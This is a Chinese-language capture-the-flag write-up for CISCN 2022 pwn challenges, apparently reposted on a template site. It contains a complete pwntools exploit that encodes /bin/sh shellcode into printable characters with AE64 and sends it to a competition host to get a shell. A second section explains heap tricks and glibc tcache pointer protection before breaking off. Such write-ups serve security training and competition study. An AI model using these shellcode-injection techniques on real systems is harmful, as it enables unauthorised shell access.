normal_login
一个简单的可见字符shellcode
用杭电师傅的工具直接出shellcode,直接写进出就可以拿到shell。
epx:
# coding=UTF-8
from pwn import *
from ae64 import *
filename = './login'
libc_name = './libc-2.33.so'
context.log_level = 'debug'
context.terminal = ['tmux','split','-vp','80']
context.binary = filename
elf = ELF(filename)
libc = ELF(libc_name)
ip = '123.56.111.202'
port = 28076
debug = 1
if debug:
p = process(filename)
else:
p = remote(ip,port)
shellcode = asm(shellcraft.sh())
enc_shellcode = AE64().encode(shellcode,'rdx')
print(enc_shellcode)
payload = b"opt:1\nmsg:ro0tt\n\r\n"
p.sendafter(">>> ", payload)
payload = b"opt:2\nmsg:" + enc_shellcode + b"b\n\r\n"
p.sendafter(">>> ", payload)
p.interactive()
newest_note
number是4个字节,后面malloc的参数也是4个字节,可以利用溢出使number很大,然后malloc申请的大小也在一个合理的范围之内。
malloc函数的实现会根据分配内存的size来决定使用哪个分配函数,当size小于等于128KB时,调用brk分配;当size大于128KB时,调用mmap分配内存, mmap 分配的内存与 libc 之前存在固定的偏移。
然后还需要注意glibc-2.32之后
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
e->next不再指向tcache头指针,而是指向了经PROTECT_PTR处理过的指针,查看PROTECT_PTR定义:文章来源:https://www.toymoban.com/news/detail-462177.html
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
然后看tcache_get()函数:文章来源地址https://www.toymoban.com/news/detail-462177.html
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx])
到了这里,关于ciscn2022-线上-半决-pwn的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!